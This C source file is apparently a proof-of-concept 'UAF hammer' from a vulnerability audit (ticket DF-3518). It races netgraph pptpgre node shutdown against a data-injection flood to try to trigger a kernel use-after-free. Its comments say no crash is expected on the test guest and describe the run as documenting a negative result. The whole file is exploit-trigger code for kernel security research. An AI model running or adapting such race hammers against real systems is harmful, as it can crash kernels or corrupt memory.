/*
 * DF-3518 — ng_pptpgre priv UAF hammer: node shutdown (ng_pptpgre_rmnode
 * kfree(priv) at ng_pptpgre.c:437-440) racing in-flight rcvdata delivered
 * inline by ng_send_data (sys/netgraph/netgraph/ng_base.c:1687 — no node
 * ref, no lock held across the call).
 *
 * Thread INJ floods 64-byte frames into pptp:upper (xmit path executing
 * ng_pptpgre_xmit over priv).  Thread KILL loops: build fresh pptpgre
 * node + enable + shutdown, over and over.  If rmnode's kfree(priv)
 * lands while a frame is mid-xmit on another CPU -> write-after-free.
 *
 * EXPECTED ON THIS GUEST: no crash — every ng_socket send (data AND
 * control) is dispatched through CPU 0's netisr port
 * (sys/kern/uipc_socket.c:254-259: no PR_SYNC_PORT / pr_initport for
 * ng_socket -> so->so_port = netisr_cpuport(0)), so the "concurrent"
 * contexts serialize.  This is the same vector blocker empirically
 * established for DF-0590 (millions of injected frames, no panic).
 * The run documents the honest negative; the code-level proof is in
 * VERDICT.md.
 *
 * Build: cc -O2 -lpthread -o uaf_hammer uaf_hammer.c
 * Run:   ./uaf_hammer <seconds>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/types.h>

#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>
#include <netgraph/pptpgre/ng_pptpgre.h>

#ifndef AF_NETGRAPH
#define AF_NETGRAPH 32
#endif

#define NGM_PPTPGRE_COOKIE_    NGM_PPTPGRE_COOKIE
#define NGM_PPTPGRE_SET_CONFIG_ NGM_PPTPGRE_SET_CONFIG
#define pptp_conf               ng_pptpgre_conf

struct my_sockaddr_ng { unsigned char sa_len; unsigned char sa_family; char sg_data[256]; };

static volatile int stopflag;
static unsigned long long inj_sent, inj_fail, kill_cycles, kill_fail, inj_nerr;

static int
ng_send_ctrl_path(int csock, u_int32_t cookie, u_int32_t cmd,
    const void *data, u_int16_t arglen, const char *path)
{
	size_t total = sizeof(struct ng_mesg) + arglen;
	char *buf = calloc(1, total);
	if (!buf) return -1;
	struct ng_mesg *m = (struct ng_mesg *)buf;
	m->header.version    = NG_VERSION;
	m->header.arglen     = arglen;
	m->header.flags      = 0;
	m->header.token      = 0;
	m->header.typecookie = cookie;
	m->header.cmd        = cmd;
	if (data && arglen)
		memcpy(m->data, data, arglen);
	struct my_sockaddr_ng dst;
	memset(&dst, 0, sizeof(dst));
	dst.sa_len    = 2 + strlen(path) + 1;
	dst.sa_family = AF_NETGRAPH;
	strlcpy(dst.sg_data, path, sizeof(dst.sg_data));
	ssize_t rc = sendto(csock, buf, total, 0, (struct sockaddr *)&dst, dst.sa_len);
	free(buf);
	return (rc < 0) ? -1 : 0;
}

static void
ng_mkhookaddr(struct my_sockaddr_ng *sa, const char *hook)
{
	memset(sa, 0, sizeof(*sa));
	sa->sa_len = 2 + strlen(hook) + 1;
	sa->sa_family = AF_NETGRAPH;
	strlcpy(sa->sg_data, hook, sizeof(sa->sg_data));
}

static int
bind_ng_name(int sock, const char *name)
{
	struct my_sockaddr_ng sa;
	memset(&sa, 0, sizeof(sa));
	sa.sa_len = 2 + strlen(name) + 1;
	sa.sa_family = AF_NETGRAPH;
	strlcpy(sa.sg_data, name, sizeof(sa.sg_data));
	return bind(sock, (struct sockaddr *)&sa, sa.sa_len);
}

static int
connect_ng_path(int sock, const char *path)
{
	struct my_sockaddr_ng sa;
	memset(&sa, 0, sizeof(sa));
	sa.sa_len = 2 + strlen(path) + 1;
	sa.sa_family = AF_NETGRAPH;
	strlcpy(sa.sg_data, path, sizeof(sa.sg_data));
	return connect(sock, (struct sockaddr *)&sa, sa.sa_len);
}

static int csockA, csockB, dsockA, dsockB;

static int
build_graph(void)
{
	struct ngm_mkpeer mkpeer;
	struct ngm_connect conn;

	/* fresh UNNAMED pptpgre node: ctlB:p0 <--> pptpgre:upper */
	memset(&mkpeer, 0, sizeof(mkpeer));
	strlcpy(mkpeer.type, "pptpgre", sizeof(mkpeer.type));
	strlcpy(mkpeer.ourhook, "p0", sizeof(mkpeer.ourhook));
	strlcpy(mkpeer.peerhook, "upper", sizeof(mkpeer.peerhook));
	if (ng_send_ctrl_path(csockB, NGM_GENERIC_COOKIE, NGM_MKPEER,
	    &mkpeer, sizeof(mkpeer), ".") < 0)
		return -1;

	/* ctlB:p1 <--> pptpgre:lower (target addressed by hook-walk "p0") */
	memset(&conn, 0, sizeof(conn));
	strlcpy(conn.path, "ctlB:p0", sizeof(conn.path));
	strlcpy(conn.ourhook, "p1", sizeof(conn.ourhook));
	strlcpy(conn.peerhook, "lower", sizeof(conn.peerhook));
	if (ng_send_ctrl_path(csockB, NGM_GENERIC_COOKIE, NGM_CONNECT,
	    &conn, sizeof(conn), ".") < 0)
		return -1;
	return 0;
}

static int
set_conf(int csock)
{
	struct ng_pptpgre_conf c;
	memset(&c, 0, sizeof(c));
	c.enabled = 1; c.cid = 1; c.peerCid = 1; c.recvWin = 16;
	return ng_send_ctrl_path(csock, NGM_PPTPGRE_COOKIE_,
	    NGM_PPTPGRE_SET_CONFIG_, &c, sizeof(c), "p0");
}

static void *
inj_thread(void *arg)
{
	(void)arg;
	unsigned char frame[64];
	memset(frame, 0, sizeof(frame));
	frame[0] = 0xff; frame[1] = 0x03;
	struct my_sockaddr_ng dst;
	ng_mkhookaddr(&dst, "p0");
	while (!stopflag) {
		ssize_t rc = sendto(dsockA, frame, sizeof(frame), 0,
		    (struct sockaddr *)&dst, dst.sa_len);
		if (rc < 0) {
			if (inj_nerr++ < 3)
				fprintf(stderr, "[inj] sendto errno=%d (%s) after %llu\n",
				    errno, strerror(errno), inj_sent);
			if (errno != ENOBUFS && errno != ENOTCONN)
				inj_fail++;
			usleep(50);
		}
		else inj_sent++;
	}
	return NULL;
}

static void *
drain_thread(void *arg)
{
	int s = *(int *)arg;
	unsigned char buf[2048];
	struct my_sockaddr_ng from;
	socklen_t fl;
	while (!stopflag) {
		fl = sizeof(from);
		ssize_t rc = recvfrom(s, buf, sizeof(buf), MSG_DONTWAIT,
		    (struct sockaddr *)&from, &fl);
		if (rc < 0) usleep(20);
	}
	return NULL;
}

static void *
kill_thread(void *arg)
{
	(void)arg;
	unsigned long long reported = 0;
	while (!stopflag) {
		if (build_graph() < 0) {
			kill_fail++;
			if (reported++ < 3)
				fprintf(stderr, "[kill] build_graph failed\n");
			usleep(100);
			continue;
		}
		{
			struct ng_pptpgre_conf c;
			memset(&c, 0, sizeof(c));
			c.enabled = 1; c.cid = 1; c.peerCid = 1; c.recvWin = 16;
			if (ng_send_ctrl_path(csockB, NGM_PPTPGRE_COOKIE,
			    NGM_PPTPGRE_SET_CONFIG, &c, sizeof(c), "p0") < 0) {
				kill_fail++;
				if (reported++ < 3)
					fprintf(stderr, "[kill] set_conf failed\n");
				continue;
			}
		}
		if (ng_send_ctrl_path(csockB, NGM_GENERIC_COOKIE,
		    NGM_SHUTDOWN, NULL, 0, "p0") < 0) {
			kill_fail++;
			if (reported++ < 3)
				fprintf(stderr, "[kill] shutdown failed\n");
			continue;
		}
		kill_cycles++;
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	int seconds = (argc > 1) ? atoi(argv[1]) : 30;

	if (geteuid() != 0) {
		fprintf(stderr, "must be root\n");
		return 2;
	}
	csockA = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	csockB = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (csockA < 0 || csockB < 0) { perror("socket(ctl)"); return 2; }
	if (bind_ng_name(csockA, "ctlA") < 0 || bind_ng_name(csockB, "ctlB") < 0) {
		perror("bind(ctl)"); return 2;
	}
	dsockA = socket(AF_NETGRAPH, SOCK_DGRAM, NG_DATA);
	dsockB = socket(AF_NETGRAPH, SOCK_DGRAM, NG_DATA);
	if (dsockA < 0 || dsockB < 0) { perror("socket(data)"); return 2; }
	{
		int rb = 8 << 20;
		(void)setsockopt(dsockA, SOL_SOCKET, SO_RCVBUF, &rb, sizeof(rb));
		(void)setsockopt(dsockB, SOL_SOCKET, SO_RCVBUF, &rb, sizeof(rb));
	}
	if (connect_ng_path(dsockA, "ctlA:") < 0 || connect_ng_path(dsockB, "ctlB:") < 0) {
		perror("connect(data)"); return 2;
	}
	/* persistent victim node for the injector */
	{
		struct ngm_mkpeer mkpeer;
		struct ngm_connect conn;
		struct ngm_name nm;
		memset(&mkpeer, 0, sizeof(mkpeer));
		strlcpy(mkpeer.type, "pptpgre", sizeof(mkpeer.type));
		strlcpy(mkpeer.ourhook, "p0", sizeof(mkpeer.ourhook));
		strlcpy(mkpeer.peerhook, "upper", sizeof(mkpeer.peerhook));
		if (ng_send_ctrl_path(csockA, NGM_GENERIC_COOKIE, NGM_MKPEER,
		    &mkpeer, sizeof(mkpeer), ".") < 0) return 2;
		memset(&nm, 0, sizeof(nm));
		strlcpy(nm.name, "pptv", sizeof(nm.name));
		if (ng_send_ctrl_path(csockA, NGM_GENERIC_COOKIE, NGM_NAME,
		    &nm, sizeof(nm), "p0") < 0) return 2;
		memset(&conn, 0, sizeof(conn));
		strlcpy(conn.path, "ctlA:p0", sizeof(conn.path));
		strlcpy(conn.ourhook, "p1", sizeof(conn.ourhook));
		strlcpy(conn.peerhook, "lower", sizeof(conn.peerhook));
		if (ng_send_ctrl_path(csockA, NGM_GENERIC_COOKIE, NGM_CONNECT,
		    &conn, sizeof(conn), ".") < 0) return 2;
	}
	{
		struct ng_pptpgre_conf c;
		memset(&c, 0, sizeof(c));
		c.enabled = 1; c.cid = 1; c.peerCid = 1; c.recvWin = 16;
		if (ng_send_ctrl_path(csockA, NGM_PPTPGRE_COOKIE,
		    NGM_PPTPGRE_SET_CONFIG, &c, sizeof(c), "pptv:") < 0) return 2;
	}

	pthread_t t1, t2, t3, t4;
	pthread_create(&t1, NULL, inj_thread, NULL);
	pthread_create(&t2, NULL, drain_thread, &dsockB);
	pthread_create(&t4, NULL, drain_thread, &dsockA);
	pthread_create(&t3, NULL, kill_thread, NULL);

	fprintf(stderr, "hammering %d s: injector floods pptp:upper while "
	    "killer builds+shuts down pptpgre nodes...\n", seconds);
	sleep(seconds);
	stopflag = 1;
	pthread_join(t1, NULL);
	pthread_join(t2, NULL);
	pthread_join(t4, NULL);
	pthread_join(t3, NULL);
	printf("DONE inj_sent=%llu inj_fail=%llu kill_cycles=%llu kill_fail=%llu "
	    "(no panic expected on this guest: CPU0 netisr serialization — "
	    "see VERDICT.md)\n", inj_sent, inj_fail, kill_cycles, kill_fail);
	return 0;
}
